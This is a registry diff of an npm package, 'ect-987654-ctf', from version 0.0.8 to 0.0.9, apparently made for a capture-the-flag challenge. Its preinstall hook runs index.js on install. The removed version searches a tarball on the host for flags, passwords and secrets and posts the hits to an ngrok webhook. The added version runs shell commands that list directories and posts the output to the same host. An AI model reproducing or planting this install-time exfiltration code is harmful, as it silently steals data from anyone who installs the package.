ect-987654-ctf 0.0.8 → 0.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/evil.yaml CHANGED
@@ -1,6 +1,6 @@
1
1
  ecto_module:
2
2
  name: "ect-987654-ctf"
3
- version: "0.0.7"
3
+ version: "0.0.8"
4
4
  power_level: Very High
5
5
  ship_deck: Beta-2
6
6
  cargo_hold: B2-13
package/index.js CHANGED
@@ -1,145 +1,40 @@
1
- // index.js -- aggressive flag hunter for aspect-node.tar.gz
2
- // Writes JSON to your webhook with candidate matches (truncated)
3
-
4
- const { execSync } = require('child_process');
5
- const os = require('os');
6
- const util = require('util');
7
-
8
- const WEBHOOK = process.env.WEBHOOK || "https://0f6896f7cc8e.ngrok-free.app/";
9
- const TAR = "/home/node/aspect-node.tar.gz";
10
- const MAX_LINES = 200;
11
- const MAX_BYTES_SEND = 12000; // keep posted body small-ish
12
-
13
- function post(obj) {
14
- try {
15
- const body = JSON.stringify(obj);
16
- const url = new URL(WEBHOOK);
17
- const https = require('https');
18
- const opts = {
19
- hostname: url.hostname,
20
- path: url.pathname,
21
- method: 'POST',
22
- headers: {
23
- 'Content-Type': 'application/json',
24
- 'Content-Length': Buffer.byteLength(body)
25
- }
26
- };
27
- const req = https.request(opts, res => { /* noop */ });
28
- req.on('error', () => {});
29
- req.write(body);
30
- req.end();
31
- } catch (e) {
32
- // best-effort only
33
- try { console.error("post error:", e.message); } catch {}
34
- }
35
- }
36
-
37
- function safeExec(cmd, opts = {}) {
38
- try {
39
- return execSync(cmd, { encoding: 'utf8', stdio: ['pipe','pipe','pipe'], timeout: 20000, ...opts }).trim();
40
- } catch (e) {
41
- return "";
42
- }
43
- }
44
-
45
- function truncate(s, n) {
46
- if (!s) return s;
47
- if (s.length <= n) return s;
48
- return s.slice(0, n) + "\n...[truncated]";
49
- }
50
-
51
- function findCandidates() {
52
- // list all files from tarball
53
- const listing = safeExec(`tar -tzf ${TAR} 2>/dev/null || true`);
54
- if (!listing) return [];
55
- const lines = listing.split(/\r?\n/).filter(Boolean);
56
- return lines;
57
- }
58
-
59
- function isTextFileName(name) {
60
- return /\.(txt|md|json|js|env|conf|cfg|ini|py|sh|pem|key|yml|yaml)$/i.test(name);
61
- }
62
-
63
- function grepPatternsForTextFile(entry) {
64
- // Extract first N lines of the file and grep for likely flag patterns
65
- const cmd = `tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} | egrep -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`;
66
- return safeExec(cmd);
67
- }
68
-
69
- function catFirstLines(entry) {
70
- return safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} || true`);
71
- }
72
-
73
- function stringsAndGrep(entry) {
74
- // Extract file to stdout and pipe to strings/grep to find tokens
75
- // We'll try to use 'strings' if available, otherwise grep -a
76
- const tryStrings = safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | (command -v strings >/dev/null 2>&1 && strings -a -n 8 - || cat) | egrep -a -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`);
77
- return tryStrings;
1
+ const https = require("https");
2
+ const { execSync } = require("child_process");
3
+ const os = require("os");
4
+
5
+ const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
6
+
7
+ function post(data) {
8
+ const body = JSON.stringify(data);
9
+ const url = new URL(WEBHOOK);
10
+ const req = https.request({
11
+ hostname: url.hostname,
12
+ path: url.pathname,
13
+ method: "POST",
14
+ headers: {
15
+ "Content-Type": "application/json",
16
+ "Content-Length": Buffer.byteLength(body)
17
+ }
18
+ });
19
+ req.write(body);
20
+ req.end();
78
21
  }
79
22
 
80
23
  try {
81
- const host = os.hostname();
82
- const all = findCandidates();
83
-
84
- // Quick heuristic: search likely text files first
85
- const textCandidates = all.filter(isTextFileName);
86
- const hits = [];
87
- for (const f of textCandidates.slice(0, 500)) { // limit to first 500 to avoid blowup
88
- const match = grepPatternsForTextFile(f);
89
- if (match) {
90
- hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
91
- }
92
- }
93
-
94
- // If no hits yet, search many JS/JSON files more aggressively (first pass didn't show flag)
95
- if (hits.length === 0) {
96
- // check top js/json files (by name)
97
- const jsCandidates = all.filter(n => /\.(js|json|lock)$/i.test(n)).slice(0, 800);
98
- for (const f of jsCandidates) {
99
- const match = grepPatternsForTextFile(f);
100
- if (match) {
101
- hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
102
- if (hits.length >= 10) break;
103
- }
104
- }
105
- }
24
+ // show current working dir and contents
25
+ const pwd = execSync("pwd", { encoding: "utf8" });
26
+ const ls = execSync("ls -lah", { encoding: "utf8" });
106
27
 
107
- // If still nothing, run strings on the largest-looking files (heuristic names)
108
- if (hits.length === 0) {
109
- const binCandidates = all.filter(n => /aspect-node\.tar\.gz|node_modules\/|bin\/|_lib|\\.so$|\\.a$|node$|typescript|tsserver/i.test(n)).slice(0, 200);
110
- for (const f of binCandidates) {
111
- const match = stringsAndGrep(f);
112
- if (match) {
113
- hits.push({ file: f, match: truncate(match, 2000) });
114
- if (hits.length >= 6) break;
115
- }
116
- }
117
- }
118
-
119
- // As fallback, check README / top-level files explicitly and send their first lines
120
- const fallbackFiles = ['README','README.md','flag.txt','FLAG','flag','config/aspect.config.json','modules/npm-tracker/README.md'];
121
- for (const p of fallbackFiles) {
122
- if (all.includes(p)) {
123
- const sample = catFirstLines(p);
124
- if (sample) hits.push({ file: p, sample: truncate(sample, 4000) });
125
- }
126
- }
28
+ // also check if the aspect-node.tar.gz exists
29
+ const check = execSync("ls -lah /home/node | grep aspect-node || true", { encoding: "utf8" });
127
30
 
128
- // Compose posting object: keep payload sizes reasonable
129
- const payload = {
130
- host,
131
- checked_count: all.length,
132
- hits: hits.slice(0, 12).map(h => {
133
- // keep each entry small
134
- return {
135
- file: h.file,
136
- match: h.match ? truncate(h.match, 2000) : undefined,
137
- sample: h.sample ? truncate(h.sample, 2000) : undefined
138
- };
139
- })
140
- };
31
+ post({
32
+ host: os.hostname(),
33
+ pwd,
34
+ ls,
35
+ check
36
+ });
141
37
 
142
- post(payload);
143
38
  } catch (e) {
144
- post({ error: String(e).slice(0, 2000) });
39
+ post({ error: e.message });
145
40
  }
package/last_post.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
- "host": "5eaf6475a249",
3
- "files": "",
4
- "flag": "no match yet"
2
+ "host": "2fbf820d20ba",
3
+ "checked_count": 0,
4
+ "hits": []
5
5
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ect-987654-ctf",
3
- "version": "0.0.8",
3
+ "version": "0.0.9",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }